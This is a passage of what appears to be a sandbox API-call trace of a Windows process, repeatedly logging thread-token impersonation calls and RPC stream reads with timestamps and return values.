SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.182] GetCurrentThread () returned 0xfffffffffffffffe [0147.183] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.183] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.183] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.183] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x6a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.183] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.183] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.184] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.184] GetCurrentThread () returned 0xfffffffffffffffe [0147.184] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.184] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.184] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.184] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb3, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.184] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.184] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.186] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.186] GetCurrentThread () returned 0xfffffffffffffffe [0147.186] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.186] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.186] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.186] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x23, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.186] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.186] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.187] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.187] GetCurrentThread () returned 0xfffffffffffffffe [0147.187] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.188] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.188] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.188] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x15, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.188] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.188] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.189] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.189] GetCurrentThread () returned 0xfffffffffffffffe [0147.189] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.189] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.189] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.189] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xab, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.189] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.189] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.190] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.190] GetCurrentThread () returned 0xfffffffffffffffe [0147.190] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.191] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.191] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.191] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.191] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.191] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.192] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.192] GetCurrentThread () returned 0xfffffffffffffffe [0147.192] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.192] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.192] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.192] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.192] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.192] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.194] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.194] GetCurrentThread () returned 0xfffffffffffffffe [0147.194] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.194] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.194] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.194] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x17, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.194] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.194] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.195] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.195] GetCurrentThread () returned 0xfffffffffffffffe [0147.195] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.195] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.195] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.195] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x56, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.196] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.196] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.196] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.197] GetCurrentThread () returned 0xfffffffffffffffe [0147.197] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.197] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.197] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.197] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.197] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.197] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.198] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.198] GetCurrentThread () returned 0xfffffffffffffffe [0147.198] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.198] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.198] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.198] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xaa, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.198] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.198] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.199] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.199] GetCurrentThread () returned 0xfffffffffffffffe [0147.199] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.199] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.200] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.200] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.200] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.200] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.201] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.201] GetCurrentThread () returned 0xfffffffffffffffe [0147.201] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.201] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.201] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.201] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x22, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.201] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.201] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.202] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.202] GetCurrentThread () returned 0xfffffffffffffffe [0147.202] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.202] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.202] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.202] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x57, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.202] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.202] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.204] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.204] GetCurrentThread () returned 0xfffffffffffffffe [0147.204] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.204] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.204] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.204] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.204] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.204] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.205] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.205] GetCurrentThread () returned 0xfffffffffffffffe [0147.205] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.205] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.205] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.205] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.205] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.205] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.207] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.207] GetCurrentThread () returned 0xfffffffffffffffe [0147.207] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.207] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.207] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.207] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xae, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.207] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.207] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.208] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.208] GetCurrentThread () returned 0xfffffffffffffffe [0147.208] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.208] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.208] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.208] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x41, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.213] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.213] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.215] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.215] GetCurrentThread () returned 0xfffffffffffffffe [0147.215] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.215] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.215] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.215] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x77, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.215] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.215] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.216] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.216] GetCurrentThread () returned 0xfffffffffffffffe [0147.216] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.216] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.216] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.216] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x88, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.216] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.217] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.217] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.217] GetCurrentThread () returned 0xfffffffffffffffe [0147.217] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.217] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.218] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.218] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.218] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.218] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.219] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.219] GetCurrentThread () returned 0xfffffffffffffffe [0147.219] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.219] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.219] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.219] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.219] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.219] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.220] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.220] GetCurrentThread () returned 0xfffffffffffffffe [0147.220] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.220] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.220] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.220] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x36, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.221] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.221] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.221] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.222] GetCurrentThread () returned 0xfffffffffffffffe [0147.222] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.222] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.222] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.222] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.222] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.222] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.223] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.223] GetCurrentThread () returned 0xfffffffffffffffe [0147.223] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.223] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.223] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.223] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x29, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.223] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.223] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.225] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.225] GetCurrentThread () returned 0xfffffffffffffffe [0147.225] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.225] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.225] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.225] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.225] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.225] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.226] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.226] GetCurrentThread () returned 0xfffffffffffffffe [0147.227] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.227] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.227] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.227] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.227] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.227] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.229] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.229] GetCurrentThread () returned 0xfffffffffffffffe [0147.229] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.229] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.229] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.229] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.229] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.229] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.230] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.230] GetCurrentThread () returned 0xfffffffffffffffe [0147.230] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.231] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.231] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.231] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x11, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.231] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.231] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.232] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.232] GetCurrentThread () returned 0xfffffffffffffffe [0147.232] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.232] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.232] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.232] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.232] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.232] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.233] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.233] GetCurrentThread () returned 0xfffffffffffffffe [0147.233] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.233] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.233] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.233] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x98, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.234] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.234] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.234] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.235] GetCurrentThread () returned 0xfffffffffffffffe [0147.235] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.235] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.235] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.235] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x79, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.235] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.235] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.236] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.236] GetCurrentThread () returned 0xfffffffffffffffe [0147.236] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.236] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.236] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.236] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x56, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.236] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.236] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.237] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.237] GetCurrentThread () returned 0xfffffffffffffffe [0147.237] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.237] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.237] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.237] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.238] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.238] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.239] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.239] GetCurrentThread () returned 0xfffffffffffffffe [0147.239] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, 